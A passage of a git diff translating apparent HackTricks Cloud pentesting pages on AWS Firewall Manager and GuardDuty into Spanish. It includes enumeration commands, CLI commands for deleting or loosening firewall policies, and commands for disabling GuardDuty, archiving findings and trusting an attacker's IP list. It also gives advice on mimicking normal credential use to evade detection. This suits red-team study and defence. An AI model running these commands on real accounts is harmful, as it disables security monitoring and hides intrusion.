contra ataques DDoS y otras amenazas. +3. **Política de Grupo de Seguridad de Amazon VPC:** Con esta política, puedes gestionar grupos de seguridad utilizados en toda tu organización, aplicando un conjunto básico de reglas en tu entorno de AWS para controlar el acceso a la red. +4. **Política de Lista de Control de Acceso de Red (ACL) de Amazon VPC:** Este tipo de política te da control sobre las ACLs de red utilizadas en tu organización, permitiéndote aplicar un conjunto básico de ACLs de red en tu entorno de AWS. +5. **Política de Network Firewall:** Esta política aplica protección de AWS Network Firewall a tus VPCs de la organización, mejorando la seguridad de la red al filtrar el tráfico según reglas predefinidas. +6. **Política de DNS Firewall de Amazon Route 53 Resolver:** Esta política aplica protecciones de DNS Firewall a tus VPCs de la organización, ayudando a bloquear intentos de resolución de dominios maliciosos y hacer cumplir políticas de seguridad para el tráfico DNS. +7. **Política de Firewall de Terceros:** Este tipo de política aplica protecciones de cortafuegos de terceros, que están disponibles por suscripción a través de la consola de AWS Marketplace. Permite integrar medidas de seguridad adicionales de proveedores de confianza en tu entorno de AWS. +1. **Política de Palo Alto Networks Cloud NGFW:** Esta política aplica protecciones y conjuntos de reglas del Firewall de Nueva Generación (NGFW) de Palo Alto Networks a tus VPCs de la organización, proporcionando prevención avanzada de amenazas y controles de seguridad a nivel de aplicación. +2. **Política de Fortigate Cloud Native Firewall (CNF) como Servicio:** Esta política aplica protecciones de Fortigate Cloud Native Firewall (CNF) como Servicio, ofreciendo prevención de amenazas líder en la industria, firewall de aplicaciones web (WAF) y protección de API adaptadas para infraestructuras en la nube. -### Administrator accounts +### Cuentas de administrador -AWS Firewall Manager offers flexibility in managing firewall resources within your organization through its administrative scope and two types of administrator accounts. +AWS Firewall Manager ofrece flexibilidad en la gestión de recursos de firewall dentro de tu organización a través de su alcance administrativo y dos tipos de cuentas de administrador. -**Administrative scope defines the resources that a Firewall Manager administrator can manage**. After an AWS Organizations management account onboards an organization to Firewall Manager, it can create additional administrators with different administrative scopes. These scopes can include: +**El alcance administrativo define los recursos que un administrador de Firewall Manager puede gestionar**. Después de que una cuenta de gestión de AWS Organizations incorpora una organización a Firewall Manager, puede crear administradores adicionales con diferentes alcances administrativos. Estos alcances pueden incluir: -- Accounts or organizational units (OUs) that the administrator can apply policies to. -- Regions where the administrator can perform actions. -- Firewall Manager policy types that the administrator can manage. +- Cuentas o unidades organizativas (OUs) a las que el administrador puede aplicar políticas. +- Regiones donde el administrador puede realizar acciones. +- Tipos de políticas de Firewall Manager que el administrador puede gestionar. -Administrative scope can be either **full or restricted**. Full scope grants the administrator access to **all specified resource types, regions, and policy types**. In contrast, **restricted scope provides administrative permission to only a subset of resources, regions, or policy types**. It's advisable to grant administrators only the permissions they need to fulfill their roles effectively. You can apply any combination of these administrative scope conditions to an administrator, ensuring adherence to the principle of least privilege. +El alcance administrativo puede ser **completo o restringido**. El alcance completo otorga al administrador acceso a **todos los tipos de recursos, regiones y tipos de políticas especificados**. En contraste, **el alcance restringido proporciona permiso administrativo solo a un subconjunto de recursos, regiones o tipos de políticas**. Se recomienda otorgar a los administradores solo los permisos que necesitan para cumplir efectivamente con sus roles. Puedes aplicar cualquier combinación de estas condiciones de alcance administrativo a un administrador, asegurando la adherencia al principio de menor privilegio. -There are two distinct types of administrator accounts, each serving specific roles and responsibilities: +Hay dos tipos distintos de cuentas de administrador, cada una con roles y responsabilidades específicas: -- **Default Administrator:** - - The default administrator account is created by the AWS Organizations organization's management account during the onboarding process to Firewall Manager. - - This account has the capability to manage third-party firewalls and possesses full administrative scope. - - It serves as the primary administrator account for Firewall Manager, responsible for configuring and enforcing security policies across the organization. - - While the default administrator has full access to all resource types and administrative functionalities, it operates at the same peer level as other administrators if multiple administrators are utilized within the organization. -- **Firewall Manager Administrators:** - - These administrators can manage resources within the scope designated by the AWS Organizations management account, as defined by the administrative scope configuration. - - Firewall Manager administrators are created to fulfill specific roles within the organization, allowing for delegation of responsibilities while maintaining security and compliance standards. - - Upon creation, Firewall Manager checks with AWS Organizations to determine if the account is already a delegated administrator. If not, Firewall Manager calls Organizations to designate the account as a delegated administrator for Firewall Manager. +- **Administrador Predeterminado:** +- La cuenta de administrador predeterminado es creada por la cuenta de gestión de la organización de AWS Organizations durante el proceso de incorporación a Firewall Manager. +- Esta cuenta tiene la capacidad de gestionar cortafuegos de terceros y posee un alcance administrativo completo. +- Sirve como la cuenta de administrador principal para Firewall Manager, responsable de configurar y hacer cumplir políticas de seguridad en toda la organización. +- Aunque el administrador predeterminado tiene acceso completo a todos los tipos de recursos y funcionalidades administrativas, opera al mismo nivel de par que otros administradores si se utilizan múltiples administradores dentro de la organización. +- **Administradores de Firewall Manager:** +- Estos administradores pueden gestionar recursos dentro del alcance designado por la cuenta de gestión de AWS Organizations, según lo definido por la configuración del alcance administrativo. +- Los administradores de Firewall Manager se crean para cumplir roles específicos dentro de la organización, permitiendo la delegación de responsabilidades mientras se mantienen estándares de seguridad y cumplimiento. +- Al crearse, Firewall Manager verifica con AWS Organizations para determinar si la cuenta ya es un administrador delegado. Si no, Firewall Manager llama a Organizations para designar la cuenta como un administrador delegado para Firewall Manager. -Managing these administrator accounts involves creating them within Firewall Manager and defining their administrative scopes according to the organization's security requirements and the principle of least privilege. By assigning appropriate administrative roles, organizations can ensure effective security management while maintaining granular control over access to sensitive resources. +Gestionar estas cuentas de administrador implica crearlas dentro de Firewall Manager y definir sus alcances administrativos de acuerdo con los requisitos de seguridad de la organización y el principio de menor privilegio. Al asignar roles administrativos apropiados, las organizaciones pueden asegurar una gestión de seguridad efectiva mientras mantienen un control granular sobre el acceso a recursos sensibles. -It is important to highlight that **only one account within an organization can serve as the Firewall Manager default administrator**, adhering to the principle of "**first in, last out**". To designate a new default administrator, a series of steps must be followed: +Es importante destacar que **solo una cuenta dentro de una organización puede servir como el administrador predeterminado de Firewall Manager**, adhiriéndose al principio de "**el primero en entrar, el último en salir**". Para designar un nuevo administrador predeterminado, se deben seguir una serie de pasos: -- First, each Firewall Administrator administrator account must revoke their own account. -- Then, the existing default administrator can revoke their own account, effectively offboarding the organization from Firewall Manager. This process results in the deletion of all Firewall Manager policies created by the revoked account. -- To conclude, the AWS Organizations management account must designate the Firewall Manager dafault administrator. - -## Enumeration +- Primero, cada cuenta de administrador de Firewall debe revocar su propia cuenta. +- Luego, el administrador predeterminado existente puede revocar su propia cuenta, efectivamente desvinculando a la organización de Firewall Manager. Este proceso resulta en la eliminación de todas las políticas de Firewall Manager creadas por la cuenta revocada. +- Para concluir, la cuenta de gestión de AWS Organizations debe designar al administrador predeterminado de Firewall Manager. +## Enumeración ``` # Users/Administrators @@ -162,66 +161,58 @@ aws fms get-third-party-firewall-association-status --third-party-firewall --member-account --resource-id --resource-type ``` - -## Post Exploitation / Bypass Detection +## Post Explotación / Bypass Detección ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`) -An attacker with the **`fms:AssociateAdminAccount`** permission would be able to set the Firewall Manager default administrator account. With the **`fms:PutAdminAccount`** permission, an attacker would be able to create or updatea Firewall Manager administrator account and with the **`fms:DisassociateAdminAccount`** permission, a potential attacker could remove the current Firewall Manager administrator account association. - -- The disassociation of the **Firewall Manager default administrator follows the first-in-last-out policy**. All the Firewall Manager administrators must disassociate before the Firewall Manager default administrator can disassociate the account. -- In order to create a Firewall Manager administrator by **PutAdminAccount**, the account must belong to the organization that was previously onboarded to Firewall Manager using **AssociateAdminAccount**. -- The creation of a Firewall Manager administrator account can only be done by the organization's management account. +Un atacante con el permiso **`fms:AssociateAdminAccount`** podría establecer la cuenta de administrador predeterminada del Firewall Manager. Con el permiso **`fms:PutAdminAccount`**, un atacante podría crear o actualizar una cuenta de administrador del Firewall Manager y con el permiso **`fms:DisassociateAdminAccount`**, un posible atacante podría eliminar la asociación de la cuenta de administrador actual del Firewall Manager. +- La disociación del **administrador predeterminado del Firewall Manager sigue la política de primero en entrar, último en salir**. Todos los administradores del Firewall Manager deben disociarse antes de que el administrador predeterminado del Firewall Manager pueda disociar la cuenta. +- Para crear un administrador del Firewall Manager mediante **PutAdminAccount**, la cuenta debe pertenecer a la organización que fue previamente incorporada al Firewall Manager utilizando **AssociateAdminAccount**. +- La creación de una cuenta de administrador del Firewall Manager solo puede ser realizada por la cuenta de gestión de la organización. ```bash aws fms associate-admin-account --admin-account aws fms disassociate-admin-account aws fms put-admin-account --admin-account ``` - -**Potential Impact:** Loss of centralized management, policy evasion, compliance violations, and disruption of security controls within the environment. +**Impacto Potencial:** Pérdida de gestión centralizada, evasión de políticas, violaciones de cumplimiento y interrupción de controles de seguridad dentro del entorno. ### `fms:PutPolicy`, `fms:DeletePolicy` -An attacker with the **`fms:PutPolicy`**, **`fms:DeletePolicy`** permissions would be able to create, modify or permanently delete an AWS Firewall Manager policy. - +Un atacante con los permisos **`fms:PutPolicy`**, **`fms:DeletePolicy`** podría crear, modificar o eliminar permanentemente una política de AWS Firewall Manager. ```bash aws fms put-policy --policy | --cli-input-json file:// [--tag-list ] aws fms delete-policy --policy-id [--delete-all-policy-resources | --no-delete-all-policy-resources] ``` - -An example of permisive policy through permisive security group, in order to bypass the detection, could be the following one: - +Un ejemplo de política permisiva a través de un grupo de seguridad permisivo, con el fin de eludir la detección, podría ser el siguiente: ```json { - "Policy": { - "PolicyName": "permisive_policy", - "SecurityServicePolicyData": { - "Type": "SECURITY_GROUPS_COMMON", - "ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}" - }, - "ResourceTypeList": [ - "AWS::EC2::Instance", - "AWS::EC2::NetworkInterface", - "AWS::EC2::SecurityGroup", - "AWS::ElasticLoadBalancingV2::LoadBalancer", - "AWS::ElasticLoadBalancing::LoadBalancer" - ], - "ResourceType": "AWS::EC2::SecurityGroup", - "ExcludeResourceTags": false, - "ResourceTags": [], - "RemediationEnabled": true - }, - "TagList": [] +"Policy": { +"PolicyName": "permisive_policy", +"SecurityServicePolicyData": { +"Type": "SECURITY_GROUPS_COMMON", +"ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}" +}, +"ResourceTypeList": [ +"AWS::EC2::Instance", +"AWS::EC2::NetworkInterface", +"AWS::EC2::SecurityGroup", +"AWS::ElasticLoadBalancingV2::LoadBalancer", +"AWS::ElasticLoadBalancing::LoadBalancer" +], +"ResourceType": "AWS::EC2::SecurityGroup", +"ExcludeResourceTags": false, +"ResourceTags": [], +"RemediationEnabled": true +}, +"TagList": [] } ``` - -**Potential Impact:** Dismantling of security controls, policy evasion, compliance violations, operational disruptions, and potential data breaches within the environment. +**Impacto Potencial:** Desmantelamiento de controles de seguridad, evasión de políticas, violaciones de cumplimiento, interrupciones operativas y posibles filtraciones de datos dentro del entorno. ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` -An attacker with the **`fms:BatchAssociateResource`** and **`fms:BatchDisassociateResource`** permissions would be able to associate or disassociate resources from a Firewall Manager resource set respectively. In addition, the **`fms:PutResourceSet`** and **`fms:DeleteResourceSet`** permissions would allow an attacker to create, modify or delete these resource sets from AWS Firewall Manager. - +Un atacante con los permisos **`fms:BatchAssociateResource`** y **`fms:BatchDisassociateResource`** podría asociar o desasociar recursos de un conjunto de recursos de Firewall Manager, respectivamente. Además, los permisos **`fms:PutResourceSet`** y **`fms:DeleteResourceSet`** permitirían a un atacante crear, modificar o eliminar estos conjuntos de recursos de AWS Firewall Manager. ```bash # Associate/Disassociate resources from a resource set aws fms batch-associate-resource --resource-set-identifier --items @@ -231,83 +222,68 @@ aws fms batch-disassociate-resource --resource-set-identifier --items [--tag-list ] aws fms delete-resource-set --identifier ``` - -**Potential Impact:** The addition of an unnecessary amount of items to a resource set will increase the level of noise in the Service potentially causing a DoS. In addition, changes of the resource sets could lead to a resource disruption, policy evasion, compliance violations, and disruption of security controls within the environment. +**Impacto Potencial:** La adición de una cantidad innecesaria de elementos a un conjunto de recursos aumentará el nivel de ruido en el Servicio, lo que podría causar un DoS. Además, los cambios en los conjuntos de recursos podrían llevar a una interrupción de recursos, evasión de políticas, violaciones de cumplimiento y interrupción de controles de seguridad dentro del entorno. ### `fms:PutAppsList`, `fms:DeleteAppsList` -An attacker with the **`fms:PutAppsList`** and **`fms:DeleteAppsList`** permissions would be able to create, modify or delete application lists from AWS Firewall Manager. This could be critical, as unauthorized applications could be allowed access to the general public, or access to authorized applications could be denied, causing a DoS. - +Un atacante con los permisos **`fms:PutAppsList`** y **`fms:DeleteAppsList`** podría crear, modificar o eliminar listas de aplicaciones de AWS Firewall Manager. Esto podría ser crítico, ya que se podría permitir el acceso a aplicaciones no autorizadas al público en general, o se podría denegar el acceso a aplicaciones autorizadas, causando un DoS. ```bash aws fms put-apps-list --apps-list [--tag-list ] aws fms delete-apps-list --list-id ``` - -**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment. +**Impacto Potencial:** Esto podría resultar en configuraciones incorrectas, evasión de políticas, violaciones de cumplimiento y interrupción de controles de seguridad dentro del entorno. ### `fms:PutProtocolsList`, `fms:DeleteProtocolsList` -An attacker with the **`fms:PutProtocolsList`** and **`fms:DeleteProtocolsList`** permissions would be able to create, modify or delete protocols lists from AWS Firewall Manager. Similarly as with applications lists, this could be critical since unauthorized protocols could be used by the general public, or the use of authorized protocols could be denied, causing a DoS. - +Un atacante con los permisos **`fms:PutProtocolsList`** y **`fms:DeleteProtocolsList`** podría crear, modificar o eliminar listas de protocolos de AWS Firewall Manager. De manera similar a las listas de aplicaciones, esto podría ser crítico ya que protocolos no autorizados podrían ser utilizados por el público en general, o el uso de protocolos autorizados podría ser denegado, causando un DoS. ```bash aws fms put-protocols-list --apps-list [--tag-list ] aws fms delete-protocols-list --list-id ``` - -**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment. +**Impacto Potencial:** Esto podría resultar en configuraciones incorrectas, evasión de políticas, violaciones de cumplimiento y interrupción de los controles de seguridad dentro del entorno. ### `fms:PutNotificationChannel`, `fms:DeleteNotificationChannel` -An attacker with the **`fms:PutNotificationChannel`** and **`fms:DeleteNotificationChannel`** permissions would be able to delete and designate the IAM role and Amazon Simple Notification Service (SNS) topic that Firewall Manager uses to record SNS logs. +Un atacante con los permisos **`fms:PutNotificationChannel`** y **`fms:DeleteNotificationChannel`** podría eliminar y designar el rol de IAM y el tema de Amazon Simple Notification Service (SNS) que Firewall Manager utiliza para registrar los logs de SNS. -To use **`fms:PutNotificationChannel`** outside of the console, you need to set up the SNS topic's access policy, allowing the specified **SnsRoleName** to publish SNS logs. If the provided **SnsRoleName** is a role other than the **`AWSServiceRoleForFMS`**, it requires a trust relationship configured to permit the Firewall Manager service principal **fms.amazonaws.com** to assume this role. +Para usar **`fms:PutNotificationChannel`** fuera de la consola, necesitas configurar la política de acceso del tema SNS, permitiendo que el **SnsRoleName** especificado publique logs de SNS. Si el **SnsRoleName** proporcionado es un rol diferente al **`AWSServiceRoleForFMS`**, requiere una relación de confianza configurada para permitir que el principal de servicio de Firewall Manager **fms.amazonaws.com** asuma este rol. -For information about configuring an SNS access policy: +Para obtener información sobre cómo configurar una política de acceso SNS: {{#ref}} ../aws-sns-enum.md {{#endref}} - ```bash aws fms put-notification-channel --sns-topic-arn --sns-role-name aws fms delete-notification-channel ``` - -**Potential Impact:** This would potentially lead to miss security alerts, delayed incident response, potential data breaches and operational disruptions within the environment. +**Impacto Potencial:** Esto podría llevar potencialmente a perder alertas de seguridad, retrasar la respuesta a incidentes, posibles filtraciones de datos y interrupciones operativas dentro del entorno. ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` -An attacker with the **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** permissions would be able to associate or disassociate third-party firewalls from being managed centrally through AWS Firewall Manager. +Un atacante con los permisos **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** podría asociar o desasociar cortafuegos de terceros para ser gestionados centralmente a través de AWS Firewall Manager. > [!WARNING] -> Only the default administrator can create and manage third-party firewalls. - +> Solo el administrador predeterminado puede crear y gestionar cortafuegos de terceros. ```bash aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] ``` - -**Potential Impact:** The disassociation would lead to a policy evasion, compliance violations, and disruption of security controls within the environment. The association on the other hand would lead to a disruption of cost and budget allocation. +**Impacto Potencial:** La disociación llevaría a una evasión de políticas, violaciones de cumplimiento y interrupción de los controles de seguridad dentro del entorno. La asociación, por otro lado, llevaría a una interrupción de la asignación de costos y presupuesto. ### `fms:TagResource`, `fms:UntagResource` -An attacker would be able to add, modify, or remove tags from Firewall Manager resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de Firewall Manager, interrumpiendo la asignación de costos de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas. ```bash aws fms tag-resource --resource-arn --tag-list aws fms untag-resource --resource-arn --tag-keys ``` +**Impacto Potencial**: Disrupción de la asignación de costos, seguimiento de recursos y políticas de control de acceso basadas en etiquetas. -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. - -## References +## Referencias - [https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html](https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html) - [https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html](https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index 2794852d3..e7174826e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -4,64 +4,63 @@ ## GuardDuty -According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty combines **machine learning, anomaly detection, network monitoring, and malicious file discovery**, using both AWS and industry-leading third-party sources to help protect workloads and data on AWS. GuardDuty is capable of analysing tens of billions of events across multiple AWS data sources, such as AWS CloudTrail event logs, Amazon Virtual Private Cloud (VPC) Flow Logs, Amazon Elastic Kubernetes Service (EKS) audit and system-level logs, and DNS query logs. +Según la [**documentación**](https://aws.amazon.com/guardduty/features/): GuardDuty combina **aprendizaje automático, detección de anomalías, monitoreo de red y descubrimiento de archivos maliciosos**, utilizando tanto AWS como fuentes de terceros líderes en la industria para ayudar a proteger cargas de trabajo y datos en AWS. GuardDuty es capaz de analizar decenas de miles de millones de eventos a través de múltiples fuentes de datos de AWS, como registros de eventos de AWS CloudTrail, registros de flujo de Amazon Virtual Private Cloud (VPC), registros de auditoría y de sistema de Amazon Elastic Kubernetes Service (EKS), y registros de consultas DNS. -Amazon GuardDuty **identifies unusual activity within your accounts**, analyses the **security relevanc**e of the activity, and gives the **context** in which it was invoked. This allows a responder to determine if they should spend time on further investigation. +Amazon GuardDuty **identifica actividades inusuales dentro de tus cuentas**, analiza la **relevancia de seguridad** de la actividad y proporciona el **contexto** en el que fue invocada. Esto permite a un respondedor determinar si debe dedicar tiempo a una investigación adicional. -Alerts **appear in the GuardDuty console (90 days)** and CloudWatch Events. +Las alertas **aparecen en la consola de GuardDuty (90 días)** y en CloudWatch Events. > [!WARNING] -> When a user **disable GuardDuty**, it will stop monitoring your AWS environment and it won't generate any new findings at all, and the **existing findings will be lost**.\ -> If you just stop it, the existing findings will remain. +> Cuando un usuario **desactiva GuardDuty**, dejará de monitorear tu entorno de AWS y no generará nuevos hallazgos, y los **hallazgos existentes se perderán**.\ +> Si solo lo detienes, los hallazgos existentes permanecerán. -### Findings Example +### Ejemplo de Hallazgos -- **Reconnaissance**: Activity suggesting reconnaissance by an attacker, such as **unusual API activity**, suspicious database **login** attempts, intra-VPC **port scanning**, unusual failed login request patterns, or unblocked port probing from a known bad IP. -- **Instance compromise**: Activity indicating an instance compromise, such as **cryptocurrency mining, backdoor command and control (C\&C)** activity, malware using domain generation algorithms (DGA), outbound denial of service activity, unusually **high network** traffic volume, unusual network protocols, outbound instance communication with a known malicious IP, temporary Amazon EC2 credentials used by an external IP address, and data exfiltration using DNS. -- **Account compromise**: Common patterns indicative of account compromise include API calls from an unusual geolocation or anonymizing proxy, attempts to disable AWS CloudTrail logging, changes that weaken the account password policy, unusual instance or infrastructure launches, infrastructure deployments in an unusual region, credential theft, suspicious database login activity, and API calls from known malicious IP addresses. -- **Bucket compromise**: Activity indicating a bucket compromise, such as suspicious data access patterns indicating credential misuse, unusual Amazon S3 API activity from a remote host, unauthorized S3 access from known malicious IP addresses, and API calls to retrieve data in S3 buckets from a user with no prior history of accessing the bucket or invoked from an unusual location. Amazon GuardDuty continuously monitors and analyzes AWS CloudTrail S3 data events (e.g. GetObject, ListObjects, DeleteObject) to detect suspicious activity across all of your Amazon S3 buckets. +- **Reconocimiento**: Actividad que sugiere reconocimiento por parte de un atacante, como **actividad inusual de API**, intentos de **inicio de sesión** en bases de datos sospechosos, **escaneo de puertos** intra-VPC, patrones inusuales de solicitudes de inicio de sesión fallidas, o sondeo de puertos desbloqueados desde una IP conocida como mala. +- **Compromiso de instancia**: Actividad que indica un compromiso de instancia, como **minería de criptomonedas, actividad de comando y control (C\&C)** de puerta trasera, malware utilizando algoritmos de generación de dominios (DGA), actividad de denegación de servicio saliente, volumen de tráfico de red **inusualmente alto**, protocolos de red inusuales, comunicación de instancia saliente con una IP maliciosa conocida, credenciales temporales de Amazon EC2 utilizadas por una dirección IP externa, y exfiltración de datos utilizando DNS. +- **Compromiso de cuenta**: Patrones comunes indicativos de compromiso de cuenta incluyen llamadas a la API desde una geolocalización inusual o proxy de anonimización, intentos de desactivar el registro de AWS CloudTrail, cambios que debilitan la política de contraseñas de la cuenta, lanzamientos inusuales de instancias o infraestructura, implementaciones de infraestructura en una región inusual, robo de credenciales, actividad sospechosa de inicio de sesión en bases de datos, y llamadas a la API desde direcciones IP maliciosas conocidas. +- **Compromiso de bucket**: Actividad que indica un compromiso de bucket, como patrones de acceso a datos sospechosos que indican uso indebido de credenciales, actividad inusual de API de Amazon S3 desde un host remoto, acceso no autorizado a S3 desde direcciones IP maliciosas conocidas, y llamadas a la API para recuperar datos en buckets de S3 desde un usuario sin historial previo de acceso al bucket o invocadas desde una ubicación inusual. Amazon GuardDuty monitorea y analiza continuamente los eventos de datos de S3 de AWS CloudTrail (por ejemplo, GetObject, ListObjects, DeleteObject) para detectar actividad sospechosa en todos tus buckets de Amazon S3.
-Finding Information +Información del Hallazgo -Finding summary: +Resumen del hallazgo: -- Finding type -- Severity: 7-8.9 High, 4-6.9 Medium, 01-3.9 Low -- Region -- Account ID -- Resource ID -- Time of detection -- Which threat list was used +- Tipo de hallazgo +- Severidad: 7-8.9 Alto, 4-6.9 Medio, 01-3.9 Bajo +- Región +- ID de cuenta +- ID de recurso +- Hora de detección +- Qué lista de amenazas se utilizó -The body has this information: +El cuerpo tiene esta información: -- Resource affected -- Action -- Actor: Ip address, port and domain -- Additional Information +- Recurso afectado +- Acción +- Actor: Dirección IP, puerto y dominio +- Información adicional
-### All Findings +### Todos los Hallazgos -Access a list of all the GuardDuty findings in: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) +Accede a una lista de todos los hallazgos de GuardDuty en: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) -### Multi Accounts +### Múltiples Cuentas -#### By Invitation +#### Por Invitación -You can **invite other accounts** to a different AWS GuardDuty account so **every account is monitored from the same GuardDuty**. The master account must invite the member accounts and then the representative of the member account must accept the invitation. +Puedes **invitar a otras cuentas** a una cuenta diferente de AWS GuardDuty para que **todas las cuentas sean monitoreadas desde el mismo GuardDuty**. La cuenta maestra debe invitar a las cuentas miembros y luego el representante de la cuenta miembro debe aceptar la invitación. -#### Via Organization +#### A través de la Organización -You can designate any account within the organization to be the **GuardDuty delegated administrator**. Only the organization management account can designate a delegated administrator. +Puedes designar cualquier cuenta dentro de la organización como el **administrador delegado de GuardDuty**. Solo la cuenta de gestión de la organización puede designar un administrador delegado. -An account that gets designated as a delegated administrator becomes a GuardDuty administrator account, has GuardDuty enabled automatically in the designated AWS Region, and also has the **permission to enable and manage GuardDuty for all of the accounts in the organization within that Region**. The other accounts in the organization can be viewed and added as GuardDuty member accounts associated with this delegated administrator account. - -## Enumeration +Una cuenta que se designa como administrador delegado se convierte en una cuenta de administrador de GuardDuty, tiene GuardDuty habilitado automáticamente en la región de AWS designada, y también tiene la **permiso para habilitar y gestionar GuardDuty para todas las cuentas en la organización dentro de esa región**. Las otras cuentas en la organización pueden ser vistas y añadidas como cuentas miembros de GuardDuty asociadas con esta cuenta de administrador delegado. +## Enumeración ```bash # Get Org config aws guardduty list-organization-admin-accounts #Get Delegated Administrator @@ -101,85 +100,76 @@ aws guardduty list-publishing-destinations --detector-id aws guardduty list-threat-intel-sets --detector-id aws guardduty get-threat-intel-set --detector-id --threat-intel-set-id ``` - ## GuardDuty Bypass ### General Guidance -Try to find out as much as possible about the behaviour of the credentials you are going to use: +Intenta averiguar tanto como sea posible sobre el comportamiento de las credenciales que vas a utilizar: -- Times it's used -- Locations -- User Agents / Services (It could be used from awscli, webconsole, lambda...) -- Permissions regularly used +- Tiempos en que se utiliza +- Ubicaciones +- Agentes de usuario / Servicios (Podría ser utilizado desde awscli, webconsole, lambda...) +- Permisos utilizados regularmente -With this information, recreate as much as possible the same scenario to use the access: +Con esta información, recrea tanto como sea posible el mismo escenario para usar el acceso: -- If it's a **user or a role accessed by a user**, try to use it in the same hours, from the same geolocation (even the same ISP and IP if possible) -- If it's a **role used by a service**, create the same service in the same region and use it from there in the same time ranges -- Always try to use the **same permissions** this principal has used -- If you need to **use other permissions or abuse a permission** (for example, download 1.000.000 cloudtrail log files) do it **slowly** and with the **minimum amount of interactions** with AWS (awscli sometime call several read APIs before the write one) +- Si es un **usuario o un rol accedido por un usuario**, intenta usarlo en las mismas horas, desde la misma geolocalización (incluso el mismo ISP y IP si es posible) +- Si es un **rol utilizado por un servicio**, crea el mismo servicio en la misma región y úsalo desde allí en los mismos rangos de tiempo +- Siempre intenta usar los **mismos permisos** que este principal ha utilizado +- Si necesitas **usar otros permisos o abusar de un permiso** (por ejemplo, descargar 1.000.000 de archivos de registro de cloudtrail) hazlo **lentamente** y con la **mínima cantidad de interacciones** con AWS (awscli a veces llama a varias APIs de lectura antes de la de escritura) ### Breaking GuardDuty #### `guardduty:UpdateDetector` -With this permission you could disable GuardDuty to avoid triggering alerts. - +Con este permiso podrías desactivar GuardDuty para evitar activar alertas. ```bash aws guardduty update-detector --detector-id --no-enable aws guardduty update-detector --detector-id --data-sources S3Logs={Enable=false} ``` - #### `guardduty:CreateFilter` -Attackers with this permission have the capability to **employ filters for the automatic** archiving of findings: - +Los atacantes con este permiso tienen la capacidad de **emplear filtros para la archivación automática** de hallazgos: ```bash aws guardduty create-filter --detector-id --name --finding-criteria file:///tmp/criteria.json --action ARCHIVE ``` - #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`) -Attackers with the previous privileges could modify GuardDuty's [**Trusted IP list**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) by adding their IP address to it and avoid generating alerts. - +Los atacantes con los privilegios anteriores podrían modificar la [**Lista de IPs de confianza**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) de GuardDuty añadiendo su dirección IP y evitar generar alertas. ```bash aws guardduty update-ip-set --detector-id --activate --ip-set-id --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv ``` - #### `guardduty:DeletePublishingDestination` -Attackers could remove the destination to prevent alerting: - +Los atacantes podrían eliminar el destino para evitar alertas: ```bash aws guardduty delete-publishing-destination --detector-id --destination-id ``` - > [!CAUTION] -> Deleting this publishing destination will **not affect the generation or visibility of findings within the GuardDuty console**. GuardDuty will continue to analyze events in your AWS environment, identify suspicious or unexpected behavior, and generate findings. +> Eliminar este destino de publicación **no afectará la generación o visibilidad de los hallazgos dentro de la consola de GuardDuty**. GuardDuty continuará analizando eventos en su entorno de AWS, identificando comportamientos sospechosos o inesperados y generando hallazgos. -### Specific Findings Bypass Examples +### Ejemplos Específicos de Bypass de Hallazgos -Note that there are tens of GuardDuty findings, however, **as Red Teamer not all of them will affect you**, and what is better, you have the f**ull documentation of each of them** in [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) so take a look before doing any action to not get caught. +Tenga en cuenta que hay decenas de hallazgos de GuardDuty, sin embargo, **como Red Teamer, no todos ellos te 